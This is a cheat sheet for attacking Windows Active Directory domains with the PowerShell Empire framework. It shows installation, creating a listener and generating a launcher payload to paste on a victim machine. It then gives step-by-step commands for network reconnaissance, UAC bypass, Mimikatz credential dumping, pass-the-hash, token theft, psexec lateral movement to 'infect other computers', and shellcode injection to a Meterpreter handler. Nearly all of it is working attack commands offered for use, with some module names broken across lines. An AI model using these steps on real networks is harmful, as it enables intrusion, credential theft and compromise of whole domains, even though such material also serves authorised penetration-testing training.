Offensive Active Directory with Powershell https://www.youtube.com/watch?v=cXWtu-qalSs

Installation

```
git clone https://github.com/powershellempire/empire
sudo apt-get install python-pip python-openssl
cd empire
cd setup
sudo ./install.sh
```

Execution & Exploitation

Create listener and generate Base64 cmd payload

```
sudo ./empire
listeners
set Name listenername
execute
usestager launcher listenername
```

`execute` (generate payload, copy & paste into cmd on Windows victim)

```
agents
```

Execution & Exploitation (cont)

Note: Type in `usestager` then hit TAB twice for more options.

Post Exploitation

```
agents
interact AGENTNAME
sysinfo
usemodule situational_-
awareness/network/arp-
scan
set Range 10.0.0.0--
10.0.0.255
execute
...
usemodule situational_-
awareness/network/rev-
erse_dns
set Range 10.0.0.0--
10.0.0.255
execute
...
usemodule situational_-
awareness/network/pow-
erview/user_hunter
execute
...
usemodule situational_-
awareness/network/pow-
erview/share_finder
set CheckShareAccess
True
execute
...
agents
interact AGENTNAME
bypassuac LISTERNERNAME
y
```

...wait for agent now active to appear...

Post Exploitation (cont)

`agents` (look for a user with * as this indicates admin)

```
interact AGENTNAME
mimikatz
```
(collect creds, etc...)
```
creds
dir \\COMPUTERNAME\C$
creds
```
`pth 1` (passthehash using cred 1, a PID will be created)
```
steal_token PIDNUM
dir \\COMPUTERNAME\C$
```

Lateral Movement

```
usemodule situational_-
awareness/network/pow-
erview/find_localadmi-
n_access
info
```
`execute` (computer-names vulnerable to psexec will appear)
```
usemodule lateral_move-
ment/invoke_psexec
info
set Listener test1
set ComputerName WIN10C-
OMP.blah.com
```
(machine to attack)
```
info
execute
```
You can repeat the above process to infect other computers on the domain.

Connect to a Meterpreter Multi-Handler

Start your meterpreter multi handler, then do the following:

`interact NAME` (target name from the 'agents' menu)
```
usemodule code_executi-
on/invoke_shellcode
info
```
`set lhost IPADDRESS` (the IP in your multi-handler session)

`set lport PORT` (the port in your multi-handler session)

`execute` (wait...)

(a meterpreter session will appear in metasploit)
